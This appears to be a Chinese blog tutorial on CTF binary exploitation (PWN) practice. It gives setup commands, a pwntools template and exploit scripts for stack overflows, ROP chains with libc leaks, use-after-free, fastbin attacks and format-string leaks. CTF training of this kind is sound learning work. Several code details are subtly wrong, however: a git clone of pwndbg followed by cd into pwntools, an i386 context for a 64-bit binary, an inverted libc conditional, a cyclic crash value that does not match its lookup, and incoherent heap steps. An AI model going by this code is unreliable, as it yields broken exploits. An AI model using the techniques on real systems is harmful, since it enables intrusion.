1. 为什么选择攻防世界练习PWN?
PWN作为CTF竞赛中最具挑战性的方向之一,主要考察选手对二进制漏洞的挖掘与利用能力。攻防世界(CTFHub)作为国内知名的在线CTF训练平台,其PWN题库具有以下突出优势:
渐进式难度设计:从基础的栈溢出到高级的堆利用技巧,题目难度呈阶梯式上升,特别适合新手建立系统的知识体系。比如其"新手区"的题目往往只涉及基础的ret2text,而"高手区"则会结合off-by-one等复杂漏洞。
真实环境模拟:所有题目都运行在真实的Linux环境中,与主流CTF比赛环境高度一致。这意味着你需要处理ASLR、NX等现代防护机制,而不是在理想化的实验环境中练习。
即时反馈机制:平台会自动验证payload的正确性,提交flag后立即获得结果反馈。这种即时正反馈对保持学习动力非常重要,我刚开始练习时经常一个简单题目调试几小时,但成功后那种成就感是无与伦比的。
提示:建议注册账号后直接选择"PWN"分类,按通过率排序从易到难开始刷题。不要被前几道简单题迷惑,50题之后难度会明显提升。
2. 基础环境搭建与工具链配置
2.1 必备工具安装
工欲善其事必先利其器,PWN题需要一套专业的工具链。以下是我的主力工具配置(Ubuntu 20.04环境):
# 基础编译环境 sudo apt install -y build-essential git curl # PWN专用工具 sudo apt install -y gdb peda pwntools checksec radare2 # 增强型工具(可选但推荐) pip3 install ropper capstone keystone-engine unicorn git clone https://github.com/pwndbg/pwndbg && cd pwntools && ./setup.sh特别说明几个关键工具的作用:
- pwntools:Python编写的CTF框架,提供进程交互、ROP链构建等核心功能
- checksec:快速检测二进制文件的安全机制(NX, PIE, Canary等)
- pwndbg:增强版GDB插件,内置堆分析命令如heap、vis_heap_chunks等
2.2 开发环境配置建议
经过多次环境配置的教训,我总结出几个关键配置项:
- GDB增强配置:
echo "source /path/to/pwndbg/gdbinit.py" >> ~/.gdbinit echo "set disassembly-flavor intel" >> ~/.gdbinit # 使用Intel汇编语法- pwntools模板:为每个题目创建标准化的解题脚本模板:
#!/usr/bin/env python3 from pwn import * context(arch='i386', os='linux', log_level='debug') elf = ELF('./pwn1') libc = elf.libc if not elf.libc else ELF('/lib/x86_64-linux-gnu/libc.so.6') def exploit(): io = process('./pwn1') if args.LOCAL else remote('node4.buuoj.cn', 29999) # 你的攻击代码 io.interactive() if __name__ == '__main__': exploit()- 别名设置:在~/.bashrc中添加常用命令别名:
alias pwncheck='checksec --file=' alias pwnlibc='patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2'3. 典型题目解析:从栈溢出到ROP
3.1 基础栈溢出实战
以攻防世界"level0"为例,这是最经典的栈溢出题目。解题步骤如下:
- 基础分析:
$ checksec level0 [*] '/tmp/level0' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息:64位程序,开启NX(不可执行栈),无栈保护。
- 漏洞定位:
$ r2 -AAA level0 [0x00400400]> afl ... 0x00400596 1 42 sym.vulnerable_function [0x00400400]> pdf @ sym.vulnerable_function发现该函数使用不安全的read函数读取0x200字节到仅0x80大小的栈缓冲区。
- 偏移量计算: 使用cyclic工具确定覆盖返回地址的偏移:
$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab $ gdb ./level0 (gdb) r Program received signal SIGSEGV, Segmentation fault. 0x0000000000400aab in ?? () (gdb) cyclic -l 0x6161616b 140得出偏移量为140字节。
- 利用脚本:
from pwn import * p = process('./level0') payload = b'A'*140 + p64(0x400596) # 返回到vulnerable_function实现循环利用 p.sendline(payload) p.interactive()3.2 中级ROP链构造
当题目开启NX保护时,就需要使用ROP技术。以"level2"为例:
- 寻找gadget:
$ ROPgadget --binary level2 | grep "pop rdi" 0x00000000004007b3 : pop rdi ; ret- 泄露libc地址:
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi = 0x4007b3 main_addr = 0x4006a8 payload = flat([ b'A'*140, pop_rdi, puts_got, puts_plt, main_addr ]) io.sendlineafter('Input:\n', payload) leak = u64(io.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.sym['puts']- 获取shell:
system_addr = libc.sym['system'] bin_sh = next(libc.search(b'/bin/sh')) payload = flat([ b'A'*140, pop_rdi, bin_sh, system_addr ])4. 堆利用入门:从use-after-free到fastbin attack
4.1 Use-After-Free漏洞利用
以"heap1"为例演示UAF漏洞利用:
- 漏洞分析:
struct chunk { void (*print)(); char data[32]; }; void win() { system("/bin/sh"); } int main() { struct chunk *c = malloc(sizeof(struct chunk)); c->print = default_print; free(c); // 没有清空指针 c->print(); // UAF触发点 }- 利用步骤:
alloc(0x20) # chunk A free(0) # A进入fastbin edit(0, p64(elf.sym['win'])) # 修改fd指针指向win函数 alloc(0x20) # 重新分配A alloc(0x20) # 分配到伪造的chunk call(2) # 触发win函数4.2 Fastbin Attack实战
更复杂的案例需要操纵fastbin链表:
# 布局堆内存 add(0x60, 'A'*8) # chunk 0 add(0x60, 'B'*8) # chunk 1 free(0) # 修改fd指针指向目标地址 edit(0, p64(0xdeadbeef)) # 通过两次分配控制目标内存 add(0x60, 'C'*8) # 分配到原chunk 0 add(0x60, payload) # 分配到伪造的0xdeadbeef处5. 高级技巧与调试心得
5.1 对抗ASLR的姿势
当遇到ASLR时,我常用的泄露方法:
- 通过格式化字符串泄露:
payload = b'%7$p' # 泄露栈上的libc地址 io.sendline(payload) leak = int(io.recvline(), 16)- 通过GOT表泄露:
puts_got = elf.got['puts'] payload = flat([ pop_rdi, puts_got, elf.plt['puts'], elf.sym['main'] ])5.2 GDB调试技巧
分享几个救命级的GDB命令:
# 查看内存映射 vmmap # 堆分析命令 heap chunks # 查看所有堆块 heap bins # 查看bins状态 vis_heap_chunks # 可视化堆布局 # 自定义钩子 define hook-stop x/10gx $rsp-0x20 disassemble $rip,+20 end5.3 常见问题排查
遇到最多的问题及解决方案:
- payload发送后无响应:
- 检查是否缺少换行符(\n或\r\n)
- 使用
io.sendlineafter(b':', payload)确保同步
- ROP链执行异常:
- 使用
cyclic验证偏移是否正确 - 检查栈对齐问题(x64需要16字节对齐)
- 远程与本地差异:
- 使用
context.timeout=3设置超时 - 本地测试时用
socat模拟远程环境:
socat tcp-l:9999,reuseaddr,fork exec:./pwn16. 刷题路线与资源推荐
6.1 渐进式学习路径
根据我的经验,建议按以下顺序攻关:
- 基础阶段(1-20题):
- 栈溢出(ret2text, ret2shellcode)
- 基础ROP(调用system("/bin/sh"))
- 简单的格式化字符串漏洞
- 中级阶段(20-50题):
- 中级ROP(泄露libc地址)
- 基础堆利用(UAF, fastbin dup)
- 简单的沙箱逃逸
- 高级阶段(50+题):
- 高级堆利用(unsorted bin attack, tcache poisoning)
- SROP利用
- 复杂的沙箱逃逸(ORW, JIT逃逸)
6.2 辅助学习资源
这些资料帮我度过了瓶颈期:
书籍:
- 《CTF竞赛权威指南(PWN篇)》
- 《漏洞战争:软件漏洞分析精要》
在线课程:
- 看雪学院PWN入门系列
- LiveOverflow的YouTube频道
模拟环境:
- how2heap(GitHub上的堆利用示例)
- pwnable.kr(适合初学者的在线挑战)
重要提醒:每做完5道题就整理一次笔记,记录新学到的技巧和遇到的坑。这个习惯让我后期解题效率提升了3倍不止。
最后给坚持到这里的你一个忠告:PWN的学习曲线确实陡峭,但每突破一个技术点,那种"原来如此"的顿悟感会让所有付出都值得。我从连gdb都不会用到能在30分钟内完成中等难度题目,用了整整三个月每天2小时的刻意练习。现在轮到你了,开始你的第一道题吧!